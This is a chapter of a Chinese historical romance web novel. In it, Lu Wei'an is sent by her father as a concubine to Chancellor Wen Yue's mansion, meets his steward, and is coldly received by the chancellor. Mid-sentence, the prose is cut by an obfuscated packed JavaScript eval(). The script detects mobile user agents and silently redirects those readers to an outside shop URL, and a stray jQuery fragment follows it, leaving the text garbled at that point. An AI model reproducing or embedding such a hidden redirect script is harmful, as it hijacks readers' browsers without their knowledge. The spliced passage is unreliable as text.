大齐祈宁二年,早春。
雨足足下了一宿,到天明也没停。
陆惟安端坐轿中,眼里血丝密布。
她一夜没睡,脸比鬼还白,太阳穴像扎了把刀,疼得要炸开。
水腥气在狭窄轿厢里闷出了近乎腐烂的味道,轿子颠簸不休,她坐不稳,身子跟着轿子一起晃来晃去,眩晕伴着恶心一阵一阵地往上涌。
撑着座椅勉强稳住身体,她干呕一声,什么都没吐出来。
她已经快一天没进水米了。
用力揉碾着太阳穴,她把呼吸压得又轻又缓,扛着愈演愈烈的头疼伸手去扒轿窗——没扒开。
窗子是钉死的。
怒气一起,头疼立刻趁火打劫,变本加厉地闹腾起来,陆惟安心里把姓陆的祖宗十八代骂了个遍,咬紧后槽牙靠在轿厢壁上倒气。这轿子是顶喜轿,从上到下一色的红,连糊窗的云瓦都漆成了朱红色,刺眼得很,她看着就烦,索性闭上眼听轿外的动静。
风雨太稠,盖过了人声,天地间好似只剩下她一人,不知走了多久,“嘭”一声闷响刺穿雨幕,轿子停了。
“来者止步。”
轿帘外响起喝止声,冷厉而强硬,她甩甩昏沉的脑袋,坐直身体。
是闻府的侍卫?好大架子。
“在下光禄勋陆公府上管家,奉陆光碌之命,送府上女郎入贵府服侍闻丞相,此事丞相已允过,还请郎君通报。”
“在此稍候。”
轿外的情况被满目红影隔绝,她什么都看不到,只听到脚步声去而复返。约莫一刻钟工夫,先前那侍卫的声音再次传来:“请陆娘子下轿,随小人入府。”
管家语气迟疑:“这……恐怕于礼不合。”
侍卫没有一点退让的意思:“丞相有令。”
轿外的交谈声不断传来,管家的姿态越放越低,侍卫依旧不为所动。
陆惟安一拍轿厢:“够了,落轿。”
管家没有说话,短暂的寂静后,轿子缓缓放低,“咚”一声落了地。
扔下遮脸的团扇,陆惟安一把扫开轿帘跨出轿外,风卷着冷雨扑了满脸,头痛稍缓,她深吸一口气,抹掉脸上的雨水,微微眯起眼睛打量周遭。
国都懿城繁华,这里却不见一个行人。前方五步外,灰蒙蒙的天幕下立着一扇朱漆大门,门檐高得仰头看都费劲,在寻常朝臣家已经能当正门了,在这里却连匾都没挂,应当是个角门。门前两侧各站一列四个侍卫,其中两个就在她面前,手中长矛交叠,将他们一行人拦在门外,矛尖寒光在昏沉天色里亮得刺眼。
看来先前把他们拦停的动静就是这么来的。
“女郎。”管家走到她身边,声音压得很低,得侧耳细听才能听到,“就这么进去,您——”
“怎么,”陆惟安睨他一眼,“今日要去的若是皇宫大内,骥叔也要让人把我抬进去吗?”
她一点没收着声,周围人只要不聋都能听到。同来的下人吓得几乎站不稳,抬着箱笼的手抖个不停,连上面披着的朱红锦缎掉了都顾不上。他们惶恐地彼此对视,却谁都不敢出声,连呼吸都压得更轻了,淹没在风雨里。
闻府的侍卫们却置若罔闻,脸色都没变一下。
“女郎,慎言!”管家清癯的面容陡然紧绷,侧脸骨骼抽搐两下,像是咬紧了牙。
陆惟安嘴角轻勾。
“下作事都干完了,惺惺作态就免了吧。”她偏过头,气音藏在雨声里,轻飘飘地滑进管家耳中,“你演得不烦,我看着都烦。”
少女的身量还没长开,个头连管家的肩膀都不到,看向他的姿态近乎仰视,一眼扫来时目光却极凌厉,像凌空斩来的刀。
管家一顿,嘴唇翕动片刻,什么都没再说。
陆惟安懒得多看他,对拦路的侍卫颔首:“烦请带路。”
死了般杵在旁边的侍卫撤开长矛,后退一步:“陆娘子请随我来。”
陆惟安头也不回地往闻府走。
管家抬脚跟上,边走边催:“快快,愣着做甚,抬上女郎的嫁妆赶紧跟上!”
下人们脚还是软的,又不敢违令,紧了紧汗湿的手,急急忙忙抬着两个箱笼去追陆惟安,跟在轿子旁的一双侍女也白着脸跑上来。
没跑两步,他们又都僵住了。
长矛再次交叠着拦在了他们和陆惟安之间,一人多高的白蜡木矛杆几乎要抵到走在最前面的管家胸口上。
阴鸷冷意从管家眼底浮起,在即将漫出眼眶的刹那被他狠狠摁了回去。
他垂目低头,用一个惊诧又不解的口气问:“这是何意?”
“闻府规矩,外人入府需有丞相首肯,丞相只准了陆娘子一人入府。”
“至少也让我们女郎带个侍女进去吧。”管家不想放弃,“这两个丫头是从小服侍她的,她年纪还小,乍然离了人如何能照顾得好自己?没得又给丞相添了麻烦。”
侍卫不再说话,手里长矛纹丝不动。
陆惟安嘴角一翘,没给管家再争取的机会,插话道:“既有规矩,我也不为难各位,就不带人进去了。”
“请问东西可以带吗?”
问这话时,她双手拢袖交叠在身前,是一副再规矩不过的端庄模样,连语气都是温婉又柔顺的。
借着这个动作的遮掩,她攥住了藏在袖中的东西——两个一寸见方的小锦囊。
怎么说她也是陆誉送给闻丞相的侍妾,就算别的东西不让带,这些人应该也不至于来搜她身吧?
带路的侍卫回答:“待谨先生给您安排好住处,会有下人给您送去。”
“有劳了。”她缓缓吐出一口气,笑了,“走吧。”
快一个时辰后,陆惟安站在了那位“谨先生”面前。
刚才还态度冷硬的侍卫此时倒显得格外谦卑谨慎,他们来时谨先生正伏案批写着什么,侍卫也不让人通报,带着她在廊下等了足足两刻钟有余,直等得她几乎要靠在墙上打起盹来,才终于等到一句——
“进来。”
干脆利落,一个多余的字都没有。
侍卫快步上前,以近乎诚惶诚恐的恭敬态度复过命就走了。陆惟安不紧不慢地跨进屋,就见谨先生将一摞装订规整的册子收好,锁进了书案后的柜子里。
“走吧,随我去见丞相。”
扫见封皮上的字,陆惟安心下有了猜测。
那是……账册?看来这位就是那闻丞相的心腹管家了。
摆脱了阴魂不散的管家,她脚步都轻快了不少,边跟着闻谨走边不动声色地观察四周。
闻府从外看院墙巍峨,里面也毫不逊色。从她这里向东望去,楼台屋宇次第铺开,以回廊环绕相连,间有苍松翠柏点缀其中,远处更有复道如虹,飞檐当空,倒真显出几分朝宫帝阙的恢弘气度。
先前侍卫领她走的那段路也有守卫,却远未森严至此——此地廊下每隔五步立一持戟甲士,甲胄制式与懿都诸军都不相同,估计是闻府府兵——这应该已经接近闻府前院中心了。
她琢磨着情况,没留意前方窥视的目光。
谨先生正不着痕迹地观察着陆惟安。
按说这位陆氏女郎应是刚及笄的年纪,身量却全不像她那武将出身的父亲那样高大矫健,而是清瘦又单薄的,个头也娇小,像个十三四岁的半大孩子。
他例行公事地交代:“陆娘子既入闻府,当知闻府规矩——”
陆惟安充耳不闻,心思根本不在谨先生身上。这闻府着实大得出了奇,即便作为当朝丞相的府邸也毫无疑问是逾制的,她从角门进来,到现在已经走了半个时辰有余还在前院打转,照这样估下来,这闻府怕是要比陆府大出两倍不止。
好在路不算复杂。
回廊修得横平竖直,转过一处廊角,雨小了些,天色却更沉了,战鼓似的雷声滚过天边,她听到风里传来细碎的声响,轻而脆,像金属彼此擦过磕碰出的动静。
她警惕地朝
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019212|148679||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
前看去。
前方廊道上行,阶梯顶端,朱漆柱下,两个府兵腰佩长刀,刀身出鞘一寸,居高临下地朝她看来。
陆惟安面不改色,继续向前走——不管这位闻丞相此番收下她有什么意图,总不会是为了把她骗进府来杀了了事。
谨先生停在阶前,转身:“到了。”
“陆娘子在此稍候,我先入内通传。”
·
“妾身陆飞鸾,拜见丞相。”
书房里没人说话,陆惟安维持着揖礼的姿势,盯着前方三步外桌案下铺展开的玄黑衣摆。
这就是那位被天子尊为相父、自先帝朝至今把持朝政七年有余的大齐丞相,被大齐诸世家视为眼中钉肉中刺的闻钺。
也不过如此嘛。
文牒翻动的沙沙声清晰可闻,她行礼的对象好似根本没看到面前多了个大活人,自顾自地忙着自己的事,久久没有开口。
陆惟安没受过这等羞辱,后槽牙一下子咬紧了,透湿的嫁衣像一副枷锁,扣在身上,很快就吸干了她的体温,她浑身都冷,唯独头脸滚烫——长时间躬身低头让她头脸充血,她耳中开始嗡鸣,太阳穴突突直跳,眼前忽明忽暗,脚下发飘。
知道这样下去自己非摔这儿不可,她干脆自行“礼毕”了。
反正闻钺也杀不得她,谁怕谁啊!
毛笔擦过纸面的动静依旧没停,起身的刹那,她听到一个低沉冷淡的声音——
“陆誉也真舍得,就你这么一个女儿,也往我这里送?”
这话像浇在火上的滚油,刚刚回落的血气从心口轰然涌出,以摧枯拉朽之势直冲顶心,堪堪压下的怒火卷土重来,陆惟安一把攥住自己发抖的指尖,借着恭敬低头的姿势遮住难看的脸色。
不行,不能冲动。
快而无声地倒了两口气,她把临来前她那“好父亲”教的话一板一眼地背出来:“回丞相的话,丞相功盖天下,威凌八方,父亲仰慕丞相德行,故将妾身送来丞相府上服侍,还请丞相垂怜。”
“哼,德行。”这一番荒谬鬼话直接给大权臣听笑了,“抬起头来。”
确定脸上嫌恶鄙夷愤怒等等诸多情绪都已经妥善藏好,陆惟安迅速抬头站直,朝闻钺看去。
作为毁誉参半的当朝权臣,丞相闻钺看起来既不奸诈也不狠辣,甚至都不像许多武将那样魁梧健硕。如果不是身处这间比陆府堂屋都大的书房里,他看上去大约只是个普普通通的中年人,顶多是格外高大俊美些,深刻分明的五官莫名让她觉得熟悉。
按说他也到不惑之年了,两鬓却不见白,执笔端坐在那里的样子有种温文尔雅的书卷气,衣料下隐约透出的肩臂轮廓却又显出些悍厉和英气,像个文武双全的高门贵胄。
又写了两笔,闻钺合上文牒,抬头。
这一眼瞬间颠覆了他之前的形象,尖锐的压迫感从那双狭长幽深的眼睛里凭空生出,直迫陆惟安眉睫。
她瞳孔一缩。
昨夜和她那“好父亲”对峙谈判她都没怕,却在这一眼里后脊发凉。
没挪开视线,她强逼着自己看向这位凶名赫赫的权臣,脊梁骨绷得笔直。
短暂的对视后,闻钺收回目光拿起另一本文牒:“行了,退下吧。”
“闻谨会给你安排住处,如无传召无需服侍。”
·
看见檐下露出的一角天色,陆惟安在嫁衣上抹了抹汗涔涔的手心,吐出一口气。
雨不知何时已经停了,铁灰色的天幕沉沉压下来,她跟着闻谨从屋后绕过,低头拨开黏在额头上的碎发,正要下阶,冷不丁瞧见一个少年。
他一身劲装,高挑削瘦,正大步流星地走过前方回廊,悬着直刀的玉带将本就窄劲的腰身收束得肌骨分明,有着呼之欲出的力度感。
陆惟安一怔——她好像见过这个人。
天终于见了亮,定安街上惊鸿一瞥的寒光和挣破重云的天光一起扫来,她站在阶上,垂眸看他。